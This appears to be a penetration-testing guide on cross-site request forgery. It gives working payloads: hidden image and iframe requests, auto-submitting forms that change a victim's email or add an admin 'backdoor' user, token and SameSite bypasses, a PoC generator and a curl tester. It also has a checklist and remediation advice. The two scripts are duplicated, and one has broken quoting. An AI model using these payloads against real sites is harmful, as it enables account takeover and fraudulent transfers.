Cross-Site Request Forgery (CSRF)
CSRF forces authenticated users to perform unwanted actions on web applications. This guide covers attack vectors, token bypass techniques, and modern defense evasion methods.
Warning
Frameworks: WSTG-SESS-05 · ASVS 5.0 V3.5.1 (also V3.3.2) · CWE-352
Why CSRF Still Matters in the SameSite Era
Despite SameSite cookies being the default in modern browsers, CSRF remains a critical vulnerability for several reasons:
- Legacy Applications: Millions of applications still use SameSite=None or lack the attribute entirely. Many enterprise apps haven't been updated since before 2020.
- Chrome's 2-Minute Window: Newly-set cookies without SameSite are treated as None for 2 minutes, creating a race condition window for attacks.
- GET-Based State Changes: SameSite=Lax still allows cookies on top-level GET navigations. Applications with GET-based state changes (logout, delete, transfer) remain fully vulnerable.
- Subdomain Attacks: If attacker controls a subdomain, they can set cookies for the parent domain, bypassing CSRF token validation in double-submit patterns.
- Clickjacking Combination: Even with CSRF tokens, clickjacking can trick users into clicking legitimate buttons, achieving the same outcome.
- OAuth/SSO Flows: Cross-origin redirects in OAuth can be exploited for login CSRF, linking attacker accounts to victim sessions.
Tools & Resources
XSRFProbe
Automated CSRF vulnerability scanner
git clone https://github.com/0xInfection/XSRFProbe
GitHub →
OWASP CSRF Cheat Sheet
Defence reference — token patterns, SameSite, and double-submit guidance to validate findings against
Reference
OWASP →
Cookie Editor
Browser extension to inspect SameSite values
Chrome/Firefox extension
Understanding CSRF
CSRF exploits the trust a website has in a user's browser. When a user is authenticated, their browser automatically includes session cookies with every request. An attacker can craft a malicious page that triggers requests to the target site.
Attack Flow
- Victim is authenticated to target.com (has valid session cookie)
- Attacker sends victim a link to attacker.com/malicious.html
- Malicious page contains hidden form/request to target.com
- Browser automatically includes victim's cookies with request
- Target.com processes request as legitimate (changes password, transfers money, etc.)
Cross-Site Request Forgery (CSRF) Attack Flow
CSRF Prerequisites
- Relevant action exists - Password change, email update, fund transfer, etc.
- Cookie-based sessions - Authentication relies on cookies automatically sent
- No unpredictable parameters - No CSRF token or other validation
Basic CSRF Attacks
GET Request CSRF
Simplest form - state-changing action via GET (bad practice but common):
<!-- Image tag - request fires automatically when page loads -->
<img src="https://target.com/transfer?to=attacker&amount=1000" width="0" height="0">
<!-- Link (requires click) -->
<a href="https://target.com/delete-account">Click for free prize!</a>
<!-- Iframe - hidden request -->
<iframe src="https://target.com/change-email?email=attacker@evil.com" style="display:none"></iframe>
<!-- Multiple actions -->
<img src="https://bank.com/transfer?to=attacker&amount=1000">
<img src="https://bank.com/transfer?to=attacker&amount=1000">
<img src="https://bank.com/transfer?to=attacker&amount=1000">POST Request CSRF
Auto-submitting form for POST requests:
<html>
<body onload="document.getElementById('csrf-form').submit()">
<form id="csrf-form" action="https://target.com/change-email" method="POST">
<input type="hidden" name="email" value="attacker@evil.com">
<input type="hidden" name="confirm" value="1">
</form>
</body>
</html>CSRF with XSS Trigger
<!-- Trigger form submit via image error -->
<form id="csrf" action="https://target.com/change-password" method="POST">
<input type="hidden" name="new_password" value="hacked123">
</form>
<img src="x" onerror="document.getElementById('csrf').submit()">
<!-- Or via script -->
<form id="csrf" action="https://target.com/admin/add-user" method="POST">
<input type="hidden" name="username" value="backdoor">
<input type="hidden" name="password" value="backdoor123">
<input type="hidden" name="role" value="admin">
</form>
<script>document.getElementById('csrf').submit();</script>JSON-Based CSRF
Modern APIs often expect JSON bodies. Standard HTML forms can't send JSON, but there are techniques to exploit CSRF on JSON endpoints.
Method 1: Fetch API (if CORS allows)
<script>
fetch('https://target.com/api/change-email', {
method: 'POST',
credentials: 'include', // Include cookies
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify({
email: 'attacker@evil.com'
})
});
</script>Information
Method 2: Form with JSON in Parameter
<!-- If server accepts form data AND parses it as JSON -->
<form action="https://target.com/api/update" method="POST" enctype="text/plain">
<input name='{"email":"attacker@evil.com","ignore_me":"' value='"}' type="hidden">
</form>
<!-- Results in body: {"email":"attacker@evil.com","ignore_me":"="} -->Method 3: Flash-Based (Legacy)
// Flash could send custom Content-Type headers
// Now mostly obsolete but some old apps still vulnerable
// ActionScript payload:
var request:URLRequest = new URLRequest("https://target.com/api/update");
request.method = URLRequestMethod.POST;
request.data = '{"email":"attacker@evil.com"}';
request.contentType = "application/json";
navigateToURL(request);CSRF Token Bypass Techniques
1. Remove Token Entirely
# Original request with token
POST /change-email HTTP/1.1
email=test@test.com&csrf_token=abc123
# Test without token - server might not validate if missing
POST /change-email HTTP/1.1
email=attacker@evil.com2. Empty Token Value
# Some implementations only check if parameter exists
POST /change-email HTTP/1.1
email=attacker@evil.com&csrf_token=
# Or with empty string
csrf_token=""3. Use Another User's Token
# If tokens aren't tied to sessions, attacker's own token might work
# Step 1: Get your own valid token
# Step 2: Use it in attack payload
<form action="https://target.com/change-email" method="POST">
<input type="hidden" name="email" value="attacker@evil.com">
<input type="hidden" name="csrf_token" value="ATTACKERS_OWN_VALID_TOKEN">
</form>4. Method Override
# If POST requires token but GET doesn't
# Change method via parameter override
POST /change-email HTTP/1.1
_method=GET&email=attacker@evil.com
# Or via header
X-HTTP-Method-Override: GET5. Token in Cookie (Double Submit)
# If token is just compared between cookie and parameter
# And you can set cookies (via XSS or subdomain)
# Inject your own matching pair:
document.cookie = "csrf_token=attacker_value; domain=.target.com";
<form action="https://target.com/change-email" method="POST">
<input type="hidden" name="email" value="attacker@evil.com">
<input type="hidden" name="csrf_token" value="attacker_value">
</form>6. Token Leakage via Referer
# If token is in URL and Referer header isn't stripped
# Link to external site leaks token
https://target.com/settings?csrf_token=abc123
# User clicks external link, Referer header sent:
Referer: https://target.com/settings?csrf_token=abc123
# Attacker captures token from their server logsSameSite Cookie Bypass
SameSite cookie attribute is modern CSRF defense. But misconfigurations and edge cases still allow attacks.
SameSite Modes
Strict
Cookie never sent cross-site. Best protection but can break UX.
Lax (Default)
Cookie sent with top-level GET navigations. Blocks POST CSRF.
None
Cookie always sent. Requires Secure flag. Fully vulnerable to CSRF.
Bypassing SameSite=Lax
# Lax allows cookies on top-level GET navigation
# If state change possible via GET:
<!-- Top-level navigation via window.open -->
<script>
window.open('https://target.com/change-email?email=attacker@evil.com');
</script>
<!-- Or via link click -->
<a href="https://target.com/delete-account">Click me!</a>
<!-- Or via form with GET -->
<form action="https://target.com/transfer" method="GET">
<input type="hidden" name="to" value="attacker">
<input type="hidden" name="amount" value="1000">
<input type="submit" value="Click for free money!">
</form>2-Minute Lax Bypass (Chrome)
# Chrome has 2-minute window for cookies without SameSite set
# During this window, they're treated as None, not Lax
# If user just got new session cookie (login, OAuth redirect):
# You have ~2 minutes for traditional CSRF to work
# Practical exploitation:
1. Get victim to login (via OAuth, etc.)
2. Immediately redirect to CSRF page
3. Attack works within 2-minute windowClickjacking + CSRF Combo
Clickjacking is the one bypass that needs no forged request: the victim's click is a genuine gesture on the real origin, so tokens, SameSite cookies and referer checks all pass, and the attacker only has to supply a framable page with a reachable state-changing action. The overlay, alignment and exploitability test live in Clickjacking → Basic Clickjacking PoC — start there when the CSRF controls hold but framing is unprotected.
Automation & Tools
#!/usr/bin/env python3
"""
CSRF Proof-of-Concept HTML Generator
Takes a request and generates auto-submitting HTML form
"""
import argparse
import urllib.parse as urlparse
def generate_csrf_poc(method, url, params, auto_submit=True):
"""Generate CSRF PoC HTML"""
parsed = urlparse.urlparse(url)
html = f'''<html>
<head>
<title>CSRF PoC</title>
</head>
<body>
<h1>CSRF Proof of Concept</h1>
<form id="csrf-form" action="{url}" method="{method}">
'''
for key, value in params.items():
html += f' <input type="hidden" name="{key}" value="{value}">\n'
html += ' <input type="submit" value="Submit">
</form>
'
if auto_submit:
html += ''' <script>
document.getElementById('csrf-form').submit();
</script>
'''
html += '</body>
</html>'
return html
if __name__ == "__main__":
parser = argparse.ArgumentParser(description='Generate CSRF PoC')
parser.add_argument('-u', '--url', required=True, help='Target URL')
parser.add_argument('-m', '--method', default='POST', help='HTTP method')
parser.add_argument('-d', '--data', required=True, help='POST data (key=value&key2=value2)')
parser.add_argument('--no-auto', action='store_true', help='Disable auto-submit')
args = parser.parse_args()
# Parse POST data
params = dict(urlparse.parse_qsl(args.data))
poc = generate_csrf_poc(args.method, args.url, params, not args.no_auto)
# Save to file
filename = 'csrf_poc.html'
with open(filename, 'w') as f:
f.write(poc)
print(f"[+] CSRF PoC saved to {filename}")
print(f"[+] Target: {args.url}")
print(f"[+] Method: {args.method}")
print(f"[+] Parameters: {params}")#!/usr/bin/env python3
"""
CSRF Proof-of-Concept HTML Generator
Takes a request and generates auto-submitting HTML form
"""
import argparse
import urllib.parse as urlparse
def generate_csrf_poc(method, url, params, auto_submit=True):
"""Generate CSRF PoC HTML"""
parsed = urlparse.urlparse(url)
html = f'''<html>
<head>
<title>CSRF PoC</title>
</head>
<body>
<h1>CSRF Proof of Concept</h1>
<form id="csrf-form" action="{url}" method="{method}">
'''
for key, value in params.items():
html += f' <input type="hidden" name="{key}" value="{value}">\n'
html += ' <input type="submit" value="Submit">
</form>
'
if auto_submit:
html += ''' <script>
document.getElementById('csrf-form').submit();
</script>
'''
html += '</body>
</html>'
return html
if __name__ == "__main__":
parser = argparse.ArgumentParser(description='Generate CSRF PoC')
parser.add_argument('-u', '--url', required=True, help='Target URL')
parser.add_argument('-m', '--method', default='POST', help='HTTP method')
parser.add_argument('-d', '--data', required=True, help='POST data (key=value&key2=value2)')
parser.add_argument('--no-auto', action='store_true', help='Disable auto-submit')
args = parser.parse_args()
# Parse POST data
params = dict(urlparse.parse_qsl(args.data))
poc = generate_csrf_poc(args.method, args.url, params, not args.no_auto)
# Save to file
filename = 'csrf_poc.html'
with open(filename, 'w') as f:
f.write(poc)
print(f"[+] CSRF PoC saved to {filename}")
print(f"[+] Target: {args.url}")
print(f"[+] Method: {args.method}")
print(f"[+] Parameters: {params}")#!/bin/bash
# Test if endpoint is vulnerable to CSRF
TARGET_URL="$1"
COOKIES="$2"
if [ -z "$TARGET_URL" ]; then
echo "Usage: $0 <url> [cookies]"
exit 1
fi
echo "[*] Testing CSRF on: $TARGET_URL"
# Test 1: Request without referer/origin
echo "[*] Test 1: No Referer/Origin headers"
curl -X POST "$TARGET_URL" -H "Cookie: $COOKIES" -d "email=test@test.com" -s -o /dev/null -w "Status: %{http_code}\n"
# Test 2: Request with different origin
echo "[*] Test 2: Cross-origin request"
curl -X POST "$TARGET_URL" -H "Cookie: $COOKIES" -H "Origin: https://attacker.com" -H "Referer: https://attacker.com/page" -d "email=test@test.com" -s -o /dev/null -w "Status: %{http_code}\n"
echo "[*] If both return 200/302 without error, likely vulnerable"#!/bin/bash
# Test if endpoint is vulnerable to CSRF
TARGET_URL="$1"
COOKIES="$2"
if [ -z "$TARGET_URL" ]; then
echo "Usage: $0 <url> [cookies]"
exit 1
fi
echo "[*] Testing CSRF on: $TARGET_URL"
# Test 1: Request without referer/origin
echo "[*] Test 1: No Referer/Origin headers"
curl -X POST "$TARGET_URL" -H "Cookie: $COOKIES" -d "email=test@test.com" -s -o /dev/null -w "Status: %{http_code}\n"
# Test 2: Request with different origin
echo "[*] Test 2: Cross-origin request"
curl -X POST "$TARGET_URL" -H "Cookie: $COOKIES" -H "Origin: https://attacker.com" -H "Referer: https://attacker.com/page" -d "email=test@test.com" -s -o /dev/null -w "Status: %{http_code}\n"
echo "[*] If both return 200/302 without error, likely vulnerable"Burp Suite CSRF PoC
Account Takeover
- Email change
- Password change
- Add recovery email
- Link OAuth provider
Financial
- Money transfer
- Change billing address
- Purchase items
- Subscription changes
Privilege Escalation
- Create admin user
- Change user roles
- Add API keys
- Modify permissions
Data Manipulation
- Delete account/data
- Modify settings
- Post content as user
- Approve/reject actions
Practice Labs
PortSwigger CSRF Labs
12 labs covering token bypass, SameSite, and advanced CSRF
OWASP CSRF Guide
Official documentation, attack examples, and prevention
TryHackMe DVWA
Practice CSRF at different security levels
Information
CSRF Testing Checklist
Initial Assessment
- ☐ Identify state-changing actions (password, email, settings)
- ☐ Check cookie SameSite attributes via DevTools
- ☐ Look for CSRF tokens in forms/requests
- ☐ Check X-Frame-Options for clickjacking combo
- ☐ Identify GET-based state changes (logout, delete)
- ☐ Note any CORS configuration
Token Bypass Tests
- ☐ Remove token parameter entirely
- ☐ Submit empty token value
- ☐ Use token from different session
- ☐ Try method override (_method=GET)
- ☐ Change POST to GET
- ☐ Test token in URL vs body validation
SameSite Testing
- ☐ Test cookies without SameSite attribute
- ☐ Test within 2-minute window after login
- ☐ Check for GET state changes (Lax bypass)
- ☐ Test from subdomain (cookie injection)
- ☐ Verify Secure flag with SameSite=None
- ☐ Test OAuth/redirect flows for timing
PoC & Validation
- ☐ Generate working PoC HTML
- ☐ Test in fresh browser profile
- ☐ Verify action completes successfully
- ☐ Test across different browsers
- ☐ Document victim interaction required
- ☐ Screenshot before/after state
How to Test for CSRF
Step-by-Step Testing Process
- Capture Request: In Burp Suite, perform the action you want to test (e.g., change email). Capture the request in Proxy history.
- Analyze Tokens: Look for CSRF tokens, check their length, entropy, and whether they're tied to the session.
- Check Cookies: In DevTools Application tab, examine SameSite attribute on session cookies. "Lax" blocks POST but allows GET; "None" is fully vulnerable.
- Generate PoC: Right-click the request in Burp → Engagement Tools → Generate CSRF PoC. Click "Test in browser" to verify.
- Test Variations: Modify the PoC - remove token, use empty value, try GET method if originally POST.
- Cross-Origin Test: Host PoC on different domain (use ngrok or local server). Verify action works cross-origin.
- Document Impact: If successful, demonstrate impact (account takeover via email change, admin user creation, etc.)
⚠️ Important: Always test in an isolated browser profile where you're logged into the target. The CSRF PoC page should trigger the action without any user login on that page.
External Resources
PayloadsAllTheThings - CSRF
CSRF payloads and bypass techniques
HackTricks - CSRF
Comprehensive CSRF exploitation guide
OWASP CSRF Prevention Cheatsheet
Defense mechanisms to test against
XSRFProbe - GitHub
Automated CSRF vulnerability scanner
Remediation & Defense
Fixing CSRF
SameSite on the Session Cookie
- • Set the attribute explicitly:
Set-Cookie: __Host-session=…; Secure; HttpOnly; Path=/; SameSite=Lax(useStrictwhere the UX allows). The__Host-prefix stops a subdomain from overwriting the cookie. - •
Laxblocks cross-sitePOST, but still sends the cookie on top-levelGETnavigation — so it only protects you if state changes never happen on GET. - • Do not rely on the browser default. Cookies created without
SameSiteare treated asNonefor the 2-minute window documented above, which is exactly the race the 2-Minute Lax Bypass exploits. - •
SameSite=Noneis only legitimate for genuinely cross-site flows and must carrySecure; treat it as an exception that needs tokens as well.
Synchroniser Tokens
- • Issue a per-session random token (at least 128 bits from a CSPRNG), store it server-side, and compare it in constant time on every state-changing request.
- • Framework defaults are usually correct: Django's
{% csrf_token %}withCsrfViewMiddleware, Spring Security's CSRF support (on by default,CookieCsrfTokenRepositoryfor a SPA), ASP.NET CoreAddAntiforgery()+[ValidateAntiForgeryToken], Railsprotect_from_forgery, Laravel@csrf. - • Bind the token to the session, rotate it on login, and reject a token presented for a different session — that is what breaks the "use another user's token" bypass above.
- • Keep the token out of the URL: a query-string token leaks through
Referer, browser history and proxy logs, as the token-leakage section demonstrates.
Signed Double-Submit, Not Naive Double-Submit
- • The cookie must not be the only copy of the secret. Naive double-submit compares cookie to body, so anyone who can set a cookie can supply both halves — see Token in Cookie (Double Submit).
- • Sign the value instead: cookie holds a random value, the request carries that value plus an HMAC over it with a server-side key, and the server verifies the MAC before comparing.
- • Scope the CSRF cookie as
__Host-csrf; Secure; SameSite=Lax; Path=/so a sibling subdomain cannot plant a matching pair. - • Stateless double-submit survives horizontal scaling without a session store — which is why it is worth doing correctly rather than dropping it.
GET Must Never Mutate State
- • RFC 9110 §9.2.1 defines
GET,HEADandOPTIONSas safe: they must not change server state. Enforce it in the route table, not in review comments. - • Writes go through
POST/PUT/PATCH/DELETE. Logout, delete, transfer and "confirm" links are the classic offenders — convert them to form posts. - • This is what closes the
Laxbypass: an<img>,<iframe>or top-level navigation can only issue a GET, so a correctly-methoded app has nothing for it to trigger. - • Reject method overrides on state-changing routes — ignore
_methodandX-HTTP-Method-Overriderather than letting them downgrade a token-checked POST to an unchecked GET. - • Check
Origin(andRefereras a fallback) against an allow-list for defence-in-depth; treat a missingOriginon a write as suspect rather than trusted.
CWE References: CWE-352 (Cross-Site Request Forgery)
Evidence Collection
PoC HTML Page: Working HTML file with auto-submitting form that performs the state-changing action (email change, password reset, fund transfer)
Before/After: Screenshots showing the victim's account state before and after the CSRF attack — proving the action was performed without user consent
Token Analysis: Evidence that CSRF tokens are missing, predictable, not validated, or not tied to the user session
CVSS Range: Profile changes: 4.3–6.5 (Medium) | Password/email change: 6.5–8.0 (High) | Financial transaction: 8.0–8.8
False Positive Identification
- SameSite cookies: Modern browsers default to SameSite=Lax — cross-site POST requests won't include cookies. Verify the cookie attributes before reporting. GET-based state changes may still work.
- CORS ≠ CSRF protection: CORS restricts reading responses, not sending requests. A permissive CORS policy doesn't create CSRF if proper tokens are used, and restrictive CORS doesn't prevent form-based CSRF.
- JSON-only endpoints: If the endpoint requires Content-Type: application/json, simple form submissions won't work — but check if the server accepts other content types or if CORS preflight is enforced.
- Read-only actions: CSRF on GET requests that only read data is typically informational — focus on state-changing operations (POST, PUT, DELETE).
CSRF Practice
Defeat token validation, SameSite, and Referer defences on dedicated labs.